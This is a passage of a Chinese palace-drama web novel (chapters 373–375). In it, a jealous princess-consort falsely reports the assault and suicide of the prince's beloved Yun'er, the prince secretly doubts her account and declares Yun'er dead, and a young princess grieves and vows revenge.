“只要这件事能全身而退,受些伤痛…留个疤又有何惧呢?这若如果真让殿下知道了,我们将那个女子送去了北烈那种地方…那可不是闹着玩的。” 想起昨夜的事来,梅汐媛仿佛也终于松了口气。 话说至此,她忽然回忆起昨夜似是轩辕翰亲临了韶华阁。 于是,便开口着急地问赵嬷嬷:“提起殿下来…对了,昨夜本王妃一路上感觉整个人都恍恍惚惚,身子也轻飘飘的,是不是殿下来过韶华阁?” 赵嬷嬷小心翼翼地垫高梅汐媛的身子,与其她几名婢女一道很快便帮其洗漱完毕。 此时,又端来热乎乎的一碗营养米粥,一勺一勺送入其口中,满脸欣喜地道:“何止是来过,昨儿一夜至今都还在楼下的书房里守着呢!想必是怕娘娘的身子夜里突然出现什么岔子吧!这夫妻果然就是夫妻,正所谓‘患难之处见真情’,倘若不是娘娘昨夜此举,老奴还真看不出,咱们这个殿下倒是个外冷内热的主!” “什么?昨儿一夜...殿下都在楼下书房里...守着...本...本王妃?”听了赵嬷嬷所说,梅汐媛瞬间难以置信地似是都已有些反应不过来,紧紧盯着她的眼睛惊呆了。 稍一回过神来,便一把掀开了锦被,赵嬷嬷一见大声惊叫道:“王妃娘娘这是做什么?” 梅汐媛自顾自一边急急起身下榻来,一边蹙眉对其责怪道:“殿下在韶华阁里,嬷嬷怎么不早说?还不快扶我起来梳妆。” “王妃娘娘千万不可啊,身子要紧……”赵嬷嬷急切地将其拽住道。 梅汐媛坐在榻边,忧伤地环视了阁楼一圈,愣愣地道:“嬷嬷,本王妃在这里住了这么久了,殿下他都从未踏足过韶华阁里半步。这座阁楼和外面的院子,还有这里所弥漫着的空气,一切的一切,表面上看起来金碧辉煌又繁花似锦,然实际上却是冷若冰窟。殿下他好不容易来了,本王妃难道就这样躺着,不该主动做些什么吗?” “可是王妃您的身子刚刚才……”赵嬷嬷虽然毫无疑虑也这么认为,然而心底里却依旧替其无比担忧着,似是还想辩解些什么,却被梅汐媛那望向自己的可怜兮兮又眼巴巴满心期盼的坚定眼神最终所打败。 最后,她深深叹了口气,答应道:“好吧,老奴这就替王妃娘娘梳妆。” 很快,梅汐媛摇身一变,便又是一袭锦衣华服,满头珠翠,在各式各样的名贵胭脂水粉的遮盖下,似是一朵刚刚绽放的出水芙蓉般,粉粉嫩嫩又不失高贵端庄的端着一脸笑盈盈地下了楼去。 迈着从未有过的轻盈步伐,怀揣着少女一颗砰砰乱跳的心,亭亭玉立在了那甚是迷人的正双手负后着驻足在门口屋檐下,对着院中的池鱼若有所思地正发呆着的轩辕翰的身后。 远远的,对其背影痴迷的默默端详了许久,心中甚是感激上苍这一世,竟能赐给她这世间如此优秀的男子成为她的夫君。 只是看一眼其坚实伟岸的背影,这一生便是到死都不会忘记,她一定会把他捧在手心里珍惜着,不许任何人侵犯,亦愿意付出所有任何代价来守护。 整个人如同被施了魔咒一般,她都不知自己是怎样移步上前近身靠过去的,遂一回过神来,忙朝其俯身恭敬地道:“臣妾参见殿下。” 轩辕翰闻声,渐渐收敛了心绪,深吸了口气后缓缓转身,目光却只是从她的一袭颇为精心的打扮上掠了一眼,毫无一丝波澜与停留,最后望向了另一侧空处依旧负手而立着。 梅汐媛见此,不禁顿时卸去了脸上的盈盈笑意,愣了一下。 转瞬却又再次扬起笑脸来跟上前去两步到其身旁,柔声细语又带着几分娇羞着说:“听说殿下昨夜在韶华阁的书房里为了臣妾的伤一夜未眠,臣妾惶恐,让殿下担心了。” 正满心期待着能得到那许久以来心心念念,恍若天人一般的男子给予一丝垂怜,哪怕只是寥寥几字只字片语的关怀,岂料轩辕翰却依旧背对着他,凉凉地开口说:“你昨日去了四海茶庄?” 闻此,梅汐媛心中一惊,顿时愣住,一时间竟似是都转不过神来。 心里暗暗地想,这个时候,哪怕是平日里并不怎么亲近的人,难道不是该先问问她的伤怎么样了吗?哪里可还有不适感?可为什么他问的却是这个…… 至此,她似是已再也挂不住笑脸,不能继续强颜欢笑,更已然不知道下面的这句话是怎么从自己口中说出来的:“是,臣妾昨日...是去了四海茶庄。” 轩辕翰继续道:“四海茶庄里的那些粗陋货色,莫非还能比得上你东宁皇族所用的,你也瞧得上?” 面对轩辕翰无情的质疑,梅汐媛自知自己终是被他怀疑了。既然瞒不过,于是吐了口浊气,遂振振有词地道:“实不相瞒,臣妾之所以多次出入四海茶庄,是因为…臣妾想帮殿下。” “帮本王?”轩辕翰沉声不解地问。 梅汐媛定了定神,道:“是,臣妾是为了帮殿下,帮殿下捉住那个十恶不赦的北烈国商人,拓跋泽。” “你...你为何要这么做?”闻此,轩辕翰忽的转身朝其着实有些惊诧地问。 “因为臣妾是真的爱殿下。”梅汐媛索性不再避让他的眼神,朝其目光坚定,信誓旦旦地认真说道。 倒是轩辕翰,听到她口中忽然冒出来的这句话,眼里几丝惊诧,神情微怔,瞬即却又恢复如常,继而转开视线再次又侧过了身去不再看她的脸,亦未说什么。 这时,梅汐媛反倒不动声色,继续语气平淡地说道:“因为臣妾是真的爱殿下,所以不想看到殿下被任何人压制着,整日被迫在外东奔西走为国事操劳,回到府里又依旧愁眉不展,忧心烦闷。而臣妾却独自只在这座院子里懒散享受,闲闲度日。” 似是话未说完,心中有什么顾忌,却又很快深吸了口气,还是开了口:“其实,臣妾在母国东宁的时候,便早已知晓西秦璟帝与秦王之间貌合神离的事。实不相瞒,臣妾便是带着母国的支持,欲帮助殿下彻底取代璟帝而嫁给殿下的。” 岂料话音刚落,轩辕翰终于再也忍不住,扬声呵斥了一声:“住嘴!不要说了!” 梅汐媛一惊,遂发出一阵淡淡的苦笑,似是早已预料到轩辕翰必定不会在自己的面前承认他的野心,于是转念又道:“难道殿下不想知道臣妾在追查四海茶庄拓跋泽踪迹的时候,发现了什么吗?” “云儿也被拓跋泽捉住了?”轩辕翰忿忿地道。 “‘云儿’?臣妾竟然不知,殿下何时起竟也会如此亲昵的唤出一个女子的名讳了。”梅汐媛轻笑了一声,苦道。 两人一起沉默了一会儿,轩辕翰自顾开口问道:“拓跋泽人呢?他把云儿带到哪儿去了?” 这时,梅汐媛缓缓掏出了藏在袖兜里的那把短剑来,踱步上前到轩辕翰的身边,表情凝重地将其双手递了上去。 “殿下,这是她亲手交给臣妾,要臣妾帮她转交还给殿下的龙凤短剑,她说‘这辈子,她谢谢殿下的喜欢’。” 轩辕翰顿时回头怔望向她手里所捧着的剑,突然有一种极不好的预感涌上心头。 梅汐媛忧伤地继续道:“其实,臣妾早就知道自己不讨殿下欢心,殿下的心里从来就都只有云儿一人,臣妾原本想着先将她从宫里带回到府里来,再设法让她服侍殿下,可没想到竟会发生这种事。早知如此,还不如就让她好好呆在宫里,至少还能活着。” “至少还能活着,你这话是什么意思?她...她到底怎么了?”轩辕翰猛地将目光从其手中的短剑移至到其脸上。 而梅汐媛忽然“扑通”一声重重地跪在了其面前…… 第三百七十三章:枝头落下的洁白花瓣 “‘至少还能活着’,你这话是什么意思?她...她到底怎么了?” 轩辕翰这一问,梅汐媛忽然“扑通”一声重重地跪在了其面前,瞬间泪如泉涌,哽咽着道:“那个蛮夷之地的野蛮人拓跋泽,他丧心病狂,将云儿在四海茶庄里给...糟蹋了。” “什么?”闻此,轩辕翰只觉脑子里顿时一轰。 原本就一夜里的各种胡思乱想所紧绷着的那根弦瞬间断裂,已然站立不住,遂后退了两步打了个踉跄,忙伸手扶住旁边的窗棂。 “当臣妾赶到的时候,已经晚了。云儿她不堪受辱,已经用这把短剑刺向了自己的心窝。最后奄奄一息用仅存的一口气对臣妾交代了这些。便就,便就……” 梅汐媛的嘴巴一张一闭,发出来的甚为清晰的声音依旧在耳边一阵一阵地不断响着。 “都怪臣妾无能,这一切,全都是臣妾的错,臣妾应该在发现那个人一早的时候便就将这个消息告诉殿下,让殿下来妥善处置。可臣妾又怕自己判断有误,寻错了人,耽误了殿下的正事。臣妾也是今日方才证实了那人正是拓跋泽本人。” “臣妾没能救的了云儿,臣妾真是罪该万死……” 听了梅汐媛的话,轩辕翰霎时如遭雷击,目光定定地看着梅汐媛的眼睛,却是半日无一言,只有身子似在微微颤抖。 良久以后,梅汐媛忽看见忙起身端起案上的热茶递到其面前,道:“殿下,先喝口茶。” 然这时,轩辕翰忽然惊醒,自语道:“不可能,这不可能,本王不相信,她不会死,她绝不会死,拓跋泽……” 一边说着,看到梅汐媛手里握着的那把他永远都不可能再熟悉的龙凤短剑,忽觉眼前一黑,身形晃动,眼前变得迷蒙。 梅汐媛急急想伸手上前将其一把扶住,他却瞬间又定住,伸手将她挡了回去。 轩辕翰垂放在身子两侧的手紧紧握成拳,青筋直跳,指缝间鲜红的血丝丝缕缕地渗出。 最后,他颤颤巍巍地从梅汐媛的手中将短剑抽走,继而瞬间露出了一个从未有过如此孤独又无力极了的背影,默默地走出了韶华阁大门。 “殿下,殿下……”身后传来梅汐媛失望又痛心的声声呼唤,轩辕翰却似是已经与这里所有的一切都隔离了一般,什么都再也已经听不到。 梅汐媛追身出来近乎绝望地目送着他的身影渐渐消失后,一直隐忍着的伤痛使得整个人亦终于垮了下来。 倚着廊柱,缓缓滑下瘫坐在地上,却依旧满腹黯然地嘴里喃喃着:“殿下,殿下……” 自始至终,轩辕翰从来都没有问过她的伤是怎么来的?哪怕只是只字片语,皆都没有。 原来,这一夜的守候,他只是为了等她一苏醒便来告诉他他所关心的这些。 不过,得到如今这样的答案,想他这一次一定是彻底安心了吧? 想到这里,梅汐媛竟转而痴痴地又笑了起来:“我得不到的,别人也休想得到。” 不知道自己最后究竟是怎么回到承华殿的,亦不知何时起天空中竟下起了滂沱大雨。 轩辕翰立在屋檐下,看着眼前满天满世界飞泻而下的倾盆大雨,一动也不动,雨水顺着风势,落在他的身上,早已是大半个身子被湿透。 程良小心翼翼地低声劝了好几次,轩辕翰却始终都一语不发。 程良亦不敢再劝,可又实在担心,故而亦只能举着雨伞,满腹愁绪地在其身旁默默相陪。 过去的许多年里,这个主子每次伤心难过的时候,一向都是这样默默地呆着。 然他却比谁都清楚,这次,与以往的每一次都不同。 看到轩辕翰从韶华阁里一回来便就这幅似是魔怔了一般的惊人模样,程良便急急往韶华阁里向赵嬷嬷了解了所有一切。 无疑,对此结果,程良也颇感震撼,他恨不得现在就去找拓跋泽拼命,将他撕的粉碎。却是如今连他丝毫的下落都查不到,仿佛那一个大活人就像是从世间蒸发了一般。 此时,程良着实对此无力极了,他越想眉头越紧,出了会子神,在轩辕翰的身旁说道:“如今看来,极有可能便是韶华阁不甚暴露了殿下的行踪给四海茶庄,方才使那拓跋泽有机可乘,掳走了衣姑娘,这才使得她惨遭其毒手。” 然轩辕翰却一直都只沉默地站着,心思好似百转千回,然实际上脑袋里翻来覆去只不过就一句话:“等本王回来便带你回府,做本王真正的女人,本王已经等不及了。” 然而,他已经回府了,她却…… 就这样,主仆俩一直默默各有所思地站着。 光线一丝丝收拢回西边,落日半躲在云后,洒出红橙金黄,映得朵朵暮云像熔了的金子般,将半边天空化成火海。 又抖落赤朱丹彤,在连绵起伏的瓦片上溅出无数夺目的亮点,白日里庄严肃穆的秦王府被笼罩在一团金碧辉煌中,宛若天宇琼台,华美不可方物。 主仆俩依旧身子沐浴在这片轻柔的暖光之中,不知不觉,身旁府里的侍卫已经陆陆续续开始到处掌灯。 轩辕翰木讷地凝视着满树繁花似锦沉甸甸的枝头被这场大雨打过之后,一地的七零八乱,满院的落花成泥。 忽然,枝头上有一片洁白无瑕,娇嫩欲滴,极具精神,本不该凋谢的花瓣,偏偏摇摇曳曳着从枝头落下,又被风送向至轩辕翰的面前来。 他一见,竟恍然回过神来,缓缓朝其伸出手去将其接住,似是饶有兴致地摊在手心里怔望了半晌。 最后忽觉眼前一亮,蓦然炸出了一句:“程良,你真的相信,她会如此软弱,受到点屈辱便就这么...离开本王...去了吗?” 程良闻此顿时一怔,遂惊诧地看向他异常平静的脸,愣愣地说出了一段后来就连自己都不知道怎么说出口的话。 “当然不信,衣姑娘她不会这么软弱可欺的。这全都只是王妃娘娘的一面之词,事实真相只有找到衣姑娘本人,方才能知晓究竟发生了什么?所以,除非活要见人,死要见尸。不然,就算天涯海角,掘地三尺,属下亦要誓将衣姑娘给寻回来。” 然轩辕翰却只定定地看着手心里的洁白花瓣儿,嘴角忽然噙出了一抹浅浅的弧度来,似是心间许久以来所有不明朗的疑惑全都瞬间得到了释然一般。 他轩辕翰所看中的女人,又岂会如此脆弱,不堪一击? 那个女人的命,只能是他说了才算。又岂容她自作主张,擅自处置? 哪怕经历再大的风雨,她也会像这片洁白无瑕的花瓣儿一般,即使凋落亦不甘零落成泥。 静默了会儿,遂开口说道:“不必了,若她果真是我西秦那拥有神秘且强大力量之守护者,那么,哪怕就是遭受到再大的狂风暴雨,相信她也一定会在世间的某一个角落里获得重生,自由的呼吸,努力的活着。” 程良似懂非懂地听着,犹豫了半晌还是问了句:“殿下,那我们还要继续寻衣姑娘吗?” 轩辕翰沉默了许久,似是犹犹豫豫很难下定决心,却最终舒了口气,郑重说道:“将灵空所有秦王府寻人的告示给本王全都撤回来,一个不留。就说经证实,秦王府医女已经坠崖身亡。” 就在程良为此纳闷,既然主子不相信衣上云是真的已经死了,可为什么却又不找,竟还宣称说其已经死了的时候,轩辕翰忽又炸了句道:“全力准备向北烈开战事宜,本王不能再等下去了。既然找不到拓跋泽,便就让他自己出来受死。” 程良惊诧连连地领命:“是”。 轩辕翰说完定了定神,便即刻转身直朝着承华殿内的沙盘图边回去准备布战,却在目光冷厉转身的那一瞬于心底说道:“就算天塌下来,你也一定得活着,给本王好好活着,本王一定会有办法,一定会有办法……” 转眼又是几日已过,而易三少与梅志煊俩人却一直深感颇为惊诧又懊恼着。 因为在被其后来终于救醒的骁龙会红衣壮汉的交待下,他们得知了衣上云竟也被带到了四海茶庄里。 然如今,已然被轩辕翰下令命人查封了的四海茶庄,早已是空空如也,没有了关于她的任何踪迹。 此时,俩人垂头丧气地走在茫茫人海,喧闹的街头,却完全不知所向,如同俩个游魂一般。 忽然,梅志煊撇到熙熙攘攘的人群似是都在朝着一个方向涌去。 于是,便放慢了脚步下来,跟随着易三少的脚步,蹙眉不解地问:“是不是又发生什么事了?” “走,去看看!”易三少闻声立刻顿足下来,说着便改变方向朝着人群中挤身了进去。 只见人们指指点点着前方,七嘴八舌不知道在议论些什么? 易三少遂好奇地紧钻了个空子,踮起脚来向内一看,却是瞬间瞪大了眼睛,惊呆了。 紧随其后的梅志煊被人山人海死死地围住,无奈只能拍着钻空隐隐看到些许的易三少的肩,急切地问:“怎么了?怎么了?有没有看到?到底发生了什么事?” 第三百七十四章:第一次真诚的跪谢 “怎么了?怎么了?有没有看到?到底发生了什么事?” 易三少已然惊的说不出话来,梅志煊见他神情凝重,表情呆滞。心中顿时隐隐有一种不好的感觉涌上心头,遂着急地一把将他拉开,亲自挤身了上去。 放眼一瞧,却是亦瞬间木讷地缓缓退身了下来。可心下里仔细一想,却又惊诧不已的说:“这不是真的,皇妹不会死,他不可能死,她明明就没有死。前几日在骁龙会里,我们不都还看到她好端端的吗?” 说着,将颇为疑惑的目光转向了易三少的脸上。 “丫头当然没有死,可轩辕翰既然一直都是那么的在乎她,又为什么会有此一举?竟然会半途放弃不再继续寻她?” 一念至此,两人顿时四目相对着沉默了下来。 过了一会儿,易三少猜忌着道:“难道是轩辕翰的人捷足先登,已经找到了丫头,而不想被我们知道?” 梅志煊微微侧过头去,稍一思索便开口否决了他的猜想:“不会,一个大活人,这种事是瞒不了的。” 易三少索性双手环起臂来,托起下巴继续认真地想了会儿,忽然惊声道:“又或者,难道是...他后来在四海茶庄里找到丫头的时候,丫头真的出了什么事?” 此话一出,无疑顿时令梅志煊的心头亦忽然一惊。 然又仔细斟酌了片刻,梅志煊说道:“照此分析,无论如何,轩辕翰一定已经知道了些什么我们所不知道的事情。为今之计,怕是只有亲自向他才能求证了。城西衣府里,想必得到的也一定是与此相同的消息。” 易三少认真地听着,点了点头回过神来,安排道:“轩辕翰那边就交给我吧,你也试着从你那个皇妹秦王妃那里打探打探,或许她也知道些什么呢?” 梅志煊点点头,意味深长的说:“嗯,是该跟她见见了!” 商议好了一切,俩人便开始分头行动起来。 西秦皇宫内。 听闻刚下早朝,衣上坤便寻了个借口从御药房里出来,焦急的等候在了轩辕翰日常出宫的必经之路上。 远远地,一看到那个尊贵伟岸的身影过来,便急急朝其恭敬的叩首跪拜:“微臣参见秦王殿下。” “你在此特意等候本王,是不是也是因为云儿的事情?”轩辕翰不屑地横了他一眼,冷声道。 “殿下恕罪,微臣实在不敢相信,云儿,她就这样去了。”衣上坤今日说话的声音里竟带了些颤声。 轩辕翰侧过身去对其淡淡地说:“事已至此,本王也无能为力。” 闻此,衣上坤犹豫了一阵,忽然似是横下心鼓起了勇气一般,落地有声大胆地说道:“殿下,请恕微臣斗胆多问一句,据云儿的丫鬟燕儿回府后说,云儿明明是还活着的。但是后来又被人掳回到西秦皇城了。可殿下却为何说云儿是因为当初坠崖身亡了呢?这其中到底有什么不可告人的隐情?” 话音刚落,轩辕翰猛地回首朝其劈头盖脸,厉声大喝道:“放肆,你这是在质问本王吗?无论如何,云儿她既然已入了你衣府大门,成了你的嫡长女,你便本应该对她百般疼爱,好好照顾,护着她。然而,你却对她置之不理,任她受尽冷落,任人欺凌。如果不是你一贯对她的事不放在心上,疏忽大意,她又怎会有今天的遭遇?” 闻此,衣上坤顿时紧贴着地低低趴着,战战兢兢地道:“微臣...微臣...微臣自知罪该万死,可微臣也是想让她在府里韬光养晦,收敛锋芒,莫要贯爱出头,成了别人的眼中钉,肉中刺啊,这不也正是她的生母临死前所愿的么?” “可结果呢?”轩辕翰双手负后背对他立着,依旧忿忿不减地道。 “结果,结果…结果后来与她相关的事情,没有一件是微臣可以控制的。”一时间里,衣上坤终是无言以对地黯然沉默了下来。 半晌后,轩辕翰似是终是缓和了下来,平静地道:“起来吧!” “谢殿下!”衣上坤拭了拭额头早已渗出的汗水,终于缓缓站起身来。 轩辕翰于心底之间犹豫了好一会儿,方才下定决心对其开口说道:“你若是真想让她这一生都平平安安,不再有任何波澜的话,便就如本王所说,权当她真的已经不在这个世上了吧!如此,便是对她最好的。否则...或许...这整片天下,俱都将会因她而乱也!” “殿下此话何意?”衣上坤听了这段话,只觉此事极不简单,却又似是百思不得其解,便试探着问道。 轩辕翰一脸凝重地道:“有些事,不知道反而对大家更好。你回去速速告诉那个叫做燕儿的丫鬟,以后无论谁问及她有关云儿的下落,都说她已经不在世了。否则后患无穷,记住了没有?” 看到轩辕翰此话说的如此郑重其事,令人不禁紧张至极,忽又联想起近日城里到处对衣府及衣上云的各种风风雨雨的传言。 衣上坤忽然似是想到了什么,却又深感惊愕地问:“微臣最后斗胆问一句,是不是殿下已经查到了云儿的真实身世?她并非普通人家的女子,是吗?” 轩辕翰举目眺望着远方,丝毫不动声色。 衣上坤知道他这已是默认,于是定了定神,信誓旦旦地说:“殿下放心,微臣一定谨记殿下叮嘱,誓死都要保守这个秘密。” 却是话刚一落,心头又浮起一丝不忍,吞吞吐吐道:“只是...不知微臣有生之年,还能不能再见那丫头一面了?” 轩辕翰脸色忧郁,沉默了许久,沉声悠长地道:“会的。” 闻此,衣上坤忽然再次重重地跪身下去在其身后,第一次打从心底里真心诚信地朝其跪拜致谢。 “微臣谢殿下,也替云儿谢殿下。实不相瞒,微臣本以为,像我们这样经不起丝毫风浪的小门小户,应该远离朝堂之争,更应少与秦王府来往。可如今看来,此生能遇到殿下,是云儿的福气。能得殿下的庇护,云儿一定会好好活下去。” 衣上坤终于如释重负,安心地朝御药房里回了去。 这时,一直沉默在一旁的程良上前近身到轩辕翰的身边,望着衣上坤离去的背影,问:“殿下觉得这个衣上坤,他是真的不知道衣姑娘的身世吗?” “衣上坤,他是多么中庸谨慎,只求自保的人呐!若是当初他知道的话,说什么都不敢接下这个如此烫手的山芋,更别说将她时时留在身边了。”轩辕翰一边继续迈步往前走,一边说道。 “可他方才最后的那段话,像是发自内心的?”程良幽幽道。 “如此证明,他还有点儿良心的,云儿多少在他的心里也不是完全没有位置。不然,依照云儿的脾性,若是他再在背后为其撑腰,怕是早就名扬整个西秦,无人不知,无人不晓了。”轩辕翰淡淡道。 程良道:“照此说来,千错万错,错不该当初因为太后病情的事将衣姑娘也牵扯进来。” 轩辕翰却道:“不,错在悠悠众口。” 程良不解,歪着脑袋问:“悠悠众口?” 轩辕翰舒了口气:“对。如今,城里不是到处正在盛传关于衣府大小姐昏迷了一年之久后,醒来的那个夜里,衣府后院上空中所出现的那个神秘的凤凰虚影吗?已经有人在说,那是守护者现世。如若是再这样传下去的话,假的也会成为真的。更何况,她极有可能还真是真的。” “殿下真的相信衣姑娘便是失踪了多年的守护者?”程良惊诧地道。 轩辕翰正在沉思,忽闻身后传来一阵婢女的声音道:“秦王殿下请留步!” 主仆俩闻声,顿时回头一看,见来人原是轩辕玥风华宫的婢女锦兰。 锦兰一近身上前来,便恭敬地朝其俯身行礼道:“奴婢参见秦王殿下,殿下,千岁千岁千千岁!” 轩辕翰示意其平身后,问道:“公主的身子怎么样了?” 锦兰起身来道:“启禀秦王殿下,殿下有所不知。当日在四海茶庄里遇险后,已经有人为公主和奴婢服下了解药,所以回来休息了会儿便就都已经没事了。” 轩辕翰冷声斥责道:“以后可不能陪着公主再这么胡闹了,这若是真出点什么事儿,可不是你一个小小奴婢能担得起的。” 锦兰怯怯道:“秦王殿下教训的是,那夜从宫外回来后,皇后娘娘已经狠狠惩罚过奴婢了。幸好得以秦王殿下及时相救,方才没能让皇上察觉,否则奴婢一定小命不保。” 轩辕翰轻叹了口气。这时,身旁的程良忽然想起了当夜的情景来,开口问那婢女:“对了,你可知道当夜救你们的人是谁?” 锦兰摇摇头,眼神却有些游离躲闪,遂又故作蹙眉回忆着道:“当夜,奴婢与公主俩人都失了心智,恍恍惚惚。危急时刻,只隐约看见进来了两个蒙面男子,三两下便将那些坏人给制服了,然却并未看清楚那俩人的真面目。” 程良一见其举动,又听她所言,明显锦兰在故意遮掩,于是有些怀疑地看向了主子的脸。 而得知轩辕玥一切也都尚还好,轩辕翰这才问锦兰道:“你来找本王所为何事?” 第三百七十五章:禁足 “秦王殿下,公主被皇后娘娘禁足了,不得出风华宫半步。奴婢乃是奉公主之命,前来请秦王殿下移步到风华宫里小坐的。” 锦兰面上略显犹豫了下,答道。 轩辕翰将婢女锐目一扫,继而与程良对视了一眼,最后居高临下再次停回婢女脸上,示意其带路。 轩辕翰的身影一出现在风华宫大殿门前的回廊上,轩辕玥便从殿门前的屋檐下满脸欣喜地疾步朝其奔了上去。 随之听得一个惊喜的声音道:“秦皇叔,你终于来了。玥儿已经等候你好几日了。” 近身与其一道迈过门槛进入大殿内落座,轩辕玥嘟囔着嘴仍朝其喋喋不休抱怨着道:“秦皇叔有所不知,打从前几日由四海茶庄里回来后,母后便再也不准玥儿踏出风华宫半步了。” 满院阵阵五味杂陈的花粉香味渐渐淡去,轩辕翰端起轻抿了口婢女刚刚奉上的茶汤。 遂不甚在意地瞟了她一眼,冷冷说道:“如今关于和亲的所有细节都已与东宁商定好,已经是快要出阁的人了,竟还如此任性胡闹。闯出这般大祸来,你竟整日还想着往外面跑。堂堂一国之公主,这若是让有心人知道了,看你以后还怎么嫁的出去?看来,皇嫂真是罚的轻了!” “不是的,秦皇叔,你错怪玥儿了。”轩辕玥立身在大殿内,忙道了句。 紧接着,提起裙摆上前亦坐到了轩辕翰的对面,一副神秘兮兮的模样凑了上去与其说话。 “秦皇叔,玥儿这次绝不是任性胡闹。秦皇叔有所不知,玥儿乃是因为听锦兰说宫里负责采办茶具的公公亲眼看到那个庄主亲自送那个东宁公主出茶庄,像是颇为熟识的样子,才想去探究一二的。玥儿本来是想看那个心怀不轨的东宁公主与那西秦学院大小姐陆天骄俩个人究竟在四海茶庄里搞什么鬼?岂料……” 话未说完,却得了一声颇为严厉的呵斥:“住嘴,她毕竟是你的皇婶,且以你如今的身份,你岂能如此唤她?” “秦皇叔,你这是怎么了?”轩辕玥眉尖一动,退身回来端坐起,似乎甚觉吃惊,轩辕翰竟忽然维护起了那个假仁假义的女人来。 “她再怎么样也是东宁公主,你如此诋毁她,对你以后没有什么好处!谨言慎行,你的功课还差了太多!如此,日后又怎能在东宁皇室里拥有一席之地呢?你是我国最尊贵的公主,代表的是我西秦国的颜面,无论到了哪儿,都不能失了身份。” 原来轩辕翰是用心良苦,正一脸糊涂的轩辕玥顿时明白了过来抿了抿嘴,乖巧的道:“玥儿知道了,玥儿谨记皇叔的教悔。” 刚敛了声音收住心思,轩辕翰却道:“你在四海茶庄,有何发现?” 轩辕玥闻声愣了一下,顿时又再次回过神来,似是对他这有些颇大的转折实为不解,遂皱眉歪着脑袋将他打量细瞅了一瞬,方才接起刚才的话茬儿开了口。 “宫里自是不会无风不起浪,锦兰亦定是不会撒谎的。那日,玥儿问那庄主是不是熟识皇婶,他竟说自己不曾见过。然后来,竟真的被玥儿发现,那个四海茶庄果然不简单。云儿居然也被那个庄主藏在那里,难怪秦皇叔满天下都找不到云儿。玥儿更想不到那个庄主,原来就是北烈国大皇子拓跋泽。他们如此遮遮掩掩,一定有问题。” 闻此,轩辕翰心中顿时一惊,着急地朝其再次确认:“他们果真早已识得,你确定吗?” “玥儿何时欺瞒过秦皇叔呢?”轩辕玥看着轩辕翰的眼睛,坚定地道。 轩辕翰瞬间惊诧极了,心里似是忽然明白了什么,亦更加坚信衣上云的死,果然疑点重重。 正在思量,轩辕玥黯然地道:“后来,后来只怪玥儿技不如人,竟被那个拓跋泽给算计了。” 话说至此,想起那夜所发生的一切,似乎心里仍旧有些后怕着。 顿了顿沉默了会儿,轩辕玥瞬间又挂起笑脸来道:“对了,想必秦皇叔一定已经将云儿给救出来了吧?玥儿太久没有看到她了,真的好想她啊!” 一念至此,她眼巴巴地看着轩辕翰冰冷的脸,向其乞求道:“秦皇叔能不能帮玥儿跟母后求求情,让玥儿随秦皇叔出宫去瞧一瞧云儿呢?” 轩辕翰看着她眼里满满的期待,想了会儿,忽然睨了她一眼,依旧冷冷地说:“你看错人了,那人根本就不是云儿!” 轩辕玥面色惊变,顿时立起身来,两手臂有力地撑在身前的案几上,甚觉难以置信地道:“什么?不可能?在这个世上,玥儿就是看错了谁,都绝对不可能看错云儿?那人她一定是云儿!一定是!” 然见轩辕翰自此默不作声,不再说一个字,就连脸色亦沉如翰墨了下来,轩辕玥心里顿时隐隐有一种极不好的预感涌上心头。 想了想,遂两道秀眉紧紧蹙起,似是鼓了半晌勇气,方才紧紧盯視着其眼睛朝其近乎于哀求一般地道:“秦皇叔,你告诉玥儿,云儿她...她是不是出什么事了?” 因为轩辕玥此次擅自偷偷溜出宫去险些酿成大祸,遂皇后特意下令,不许任何人给风华宫传递任何消息。 所以,风华宫所有人至今都无人知道,而现在却已是天下所有人皆都知道的,关于衣上云已经被判定身亡的噩耗。 一室寂静。 岂料轩辕翰竟忽然炸出了一句:“经本王亲自前往查证,她于城南落崖之后...确实已经...死了。” “什么?” 登时,轩辕玥皱了下眉,只觉一阵晕眩,耳中嗡嗡,接着对于身旁的人和事还有他们在说些什么,已浑然不晓。快要站立不住,原本撑于案上的手臂忽然间失却力量,身子侧倾,欲要倒落下去。 “公主,公主……” 见此,一旁的婢女顿时皆手忙脚乱,惊呼着从四面八方全都一齐蜂拥而上,将其牢牢接住。 偌大的宫殿里,良久安静得诡异。 “公主,公主……” 只闻一声声极尽缥缈虚幻,像被抽去了灵魂,游丝一线。 渐渐地,席地瘫倒在一众婢女怀里的轩辕玥终于清醒了过来。 见此,轩辕翰亦方才舒了口气,回坐了去。 对于宫里对风华宫封锁所有消息的事,他又何尝不知,自从锦兰方才叫住他的时候,他便已经知道轩辕玥的目的了。 只是这件事,终归她早晚都会知道的。也是时候该让她成长起来,学会承受与接受了。 一滴、两滴、三滴…… 顿时间,颗颗沁凉的泪珠于眼里再也藏不住地滑落轩辕玥的颊畔,其中一些落在了她的唇上,顺着唇间缝隙又渗入口中,舌尖也尝到了淡淡的咸涩。 “怎么会这样?为何好人却总是没有好报?云儿她是那样善良的一个女子,为何最后却会落得如此下场?” 轩辕玥哽咽的声音里,透着无尽的悲凉,着实痛极了,然拧紧眉头来忽一想到那夜里四海茶庄拓跋泽所言,顿又浮起了一丝希望。 “不,不对,在四海茶庄里,拓跋泽明明说那就是云儿的...还说他是拿人钱财,替人消灾。那云儿又怎么会是在城南身亡的呢?” 轩辕翰闻此,不禁亦顿时微微抬眼一惊。然却稍纵即逝,立刻断了她的心思:“本王是亲自前往查验的,难道你对本王的信任,还不如那个拓跋泽吗?” 闻此,轩辕玥显然又再次迟疑了。是啊,他是她这辈子最依赖的皇叔,她怎会怀疑他呢? 此时,想起最后一次见她还是在宫里,不禁感慨起来道:“她甚至都还未来得及与玥儿道一声别,早知今日,在她出宫的那一日,玥儿便不该故意不见她。哪怕道别时刻的心里再多难过,玥儿也该努力忍着,笑着送她最后一程。可如今,如今……” 说着说着,却已然再也说不下去,全都皆化为了颗颗伤心的泪水。 许久后,似是终于渐渐收拾起愁绪,缓过神来,咬牙切齿信誓旦旦,甚至语调都有些狰狞地恨恨道:“拓跋泽,这一切都是你惹的祸,本公主一定会替云儿报仇的,云儿所曾受到过的所有伤与痛,本公主迟早都得让你一一偿还。” 见她已然缓和了许多下来,轩辕翰这才转念开口问道:“当夜在四海茶庄里,究竟是谁救了你们?是不是...梅志煊?” 抬头一对上那双凌厉睿智的深眸,轩辕玥顿时怔愣住,片刻后垂首缓缓回道:“那夜里,那俩人皆都蒙了面,玥儿,并未识出。” 轩辕翰依旧对着她怔了会儿,遂收回视线站起身来说:“好了,本王还有要事要办。大婚在即,你好好准备准备吧,莫要辜负了大家的一番心思。” 轩辕玥这才轻舒了口气,起身一道与其迈步亲送出门:“玥儿恭送秦皇叔!” 